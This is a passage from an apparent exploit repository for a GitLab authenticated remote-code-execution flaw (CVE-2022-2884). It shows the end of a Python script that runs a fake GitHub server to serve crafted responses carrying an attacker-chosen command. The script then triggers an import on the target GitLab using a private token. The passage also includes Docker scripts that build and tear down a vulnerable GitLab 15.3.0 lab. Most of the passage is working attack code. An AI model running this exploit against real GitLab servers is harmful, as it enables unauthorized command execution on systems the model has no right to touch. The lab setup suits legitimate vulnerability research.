current_app.config["fake_issue_id"] 526 | command = current_app.config["command"] 527 | response = generate_issue_response(attacker_server, user, fake_user_id, repo, fake_issue_id, command) 528 | return response 529 | 530 | @app.route("/api/v3/users/") 531 | def api_users_user(user: string): 532 | attacker_server = current_app.config["attacker_server"] 533 | fake_user_id = current_app.config["fake_user_id"] 534 | response = generate_user_full_response(attacker_server, user, fake_user_id) 535 | return response 536 | 537 | @app.route("//.git/HEAD") 538 | @app.route("//.git/info/refs") 539 | @app.route("//.wiki.git/HEAD") 540 | @app.route("//.wiki.git/info/refs") 541 | def empty_response(user: string, repo: string): 542 | logging.debug("Empty string response.") 543 | return "" 544 | 545 | # All the others/non-existing routes. 546 | @app.route('/') 547 | def catch_all(path): 548 | logging.debug("Empty JSON array response.") 549 | return [] 550 | 551 | def main(): 552 | args = parse_arguments() 553 | logging_level = DEFAULT_LOGGING_LEVEL 554 | if args.verbose: 555 | logging_level = logging.DEBUG 556 | logging.basicConfig(level=logging_level, format="%(asctime)s - %(levelname)s - %(message)s") 557 | 558 | validate_input(args) 559 | url = args.url.strip() 560 | private_token = args.private_token.strip() 561 | target_namespace = args.target_namespace.strip() 562 | address = args.address.strip() 563 | port = args.port 564 | is_https = args.https 565 | command = args.command.strip() 566 | delay = args.delay 567 | logging.info(f"Exploit for GitLab authenticated RCE vulnerability known as CVE-2022-2884. - {VERSION}") 568 | logging.debug("Parameters:") 569 | logging.debug(f" url = {url}") 570 | logging.debug(f" private_token = {private_token}") 571 | logging.debug(f"target_namespace = {target_namespace}") 572 | logging.debug(f" address = {address}") 573 | logging.debug(f" port = {port}") 574 | logging.debug(f" is_https = {is_https}") 575 | logging.debug(f" command = {command}") 576 | logging.debug(f" delay = {delay}") 577 | 578 | fake_repo_id = generate_random_number(9) 579 | 580 | fake_github_server = Process(target=start_fake_github_server, args=(address, port, is_https, command, fake_repo_id)) 581 | fake_github_server.start() 582 | 583 | logging.info("Waiting for the fake GitHub server to start.") 584 | while not is_server_alive(address, port, is_https): 585 | time.sleep(1) 586 | logging.debug("Waiting for the fake GitHub server to start.") 587 | logging.info("Fake GitHub server is running.") 588 | 589 | try: 590 | send_request(url, private_token, target_namespace, address, port, is_https, fake_repo_id) 591 | except: 592 | logging.critical("Aborting the script.") 593 | fake_github_server.kill() 594 | sys.exit(1) 595 | 596 | if delay is not None: 597 | logging.info(f"Waiting for {delay} seconds to let attack finish.") 598 | time.sleep(delay) 599 | else: 600 | logging.info("Press Enter when the attack is finished.") 601 | input() 602 | 603 | logging.debug("Stopping the fake GitHub server.") 604 | fake_github_server.kill() 605 | 606 | logging.info("Closing the script.") 607 | 608 | if __name__ == "__main__": 609 | main() 610 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | validators 2 | flask 3 | -------------------------------------------------------------------------------- /vulnerable_environment_for_testing/logs.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | sudo docker logs vuln-gitlab 4 | -------------------------------------------------------------------------------- /vulnerable_environment_for_testing/password.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | sudo docker exec -it vuln-gitlab grep 'Password:' /etc/gitlab/initial_root_password 4 | -------------------------------------------------------------------------------- /vulnerable_environment_for_testing/setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | GITLAB_HOME=/srv/gitlab 4 | sudo mkdir $GITLAB_HOME 5 | sudo docker run --detach --rm \ 6 | --hostname gitlab.example.com \ 7 | --name vuln-gitlab \ 8 | --volume $GITLAB_HOME/config:/etc/gitlab \ 9 | --volume $GITLAB_HOME/logs:/var/log/gitlab \ 10 | --volume $GITLAB_HOME/data:/var/opt/gitlab \ 11 | --shm-size 256m \ 12 | --network="host" \ 13 | gitlab/gitlab-ce:15.3.0-ce.0 14 | -------------------------------------------------------------------------------- /vulnerable_environment_for_testing/teardown.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | sudo docker stop vuln-gitlab 4 | GITLAB_HOME=/srv/gitlab 5 | sudo rm -r $GITLAB_HOME 6 | --------------------------------------------------------------------------------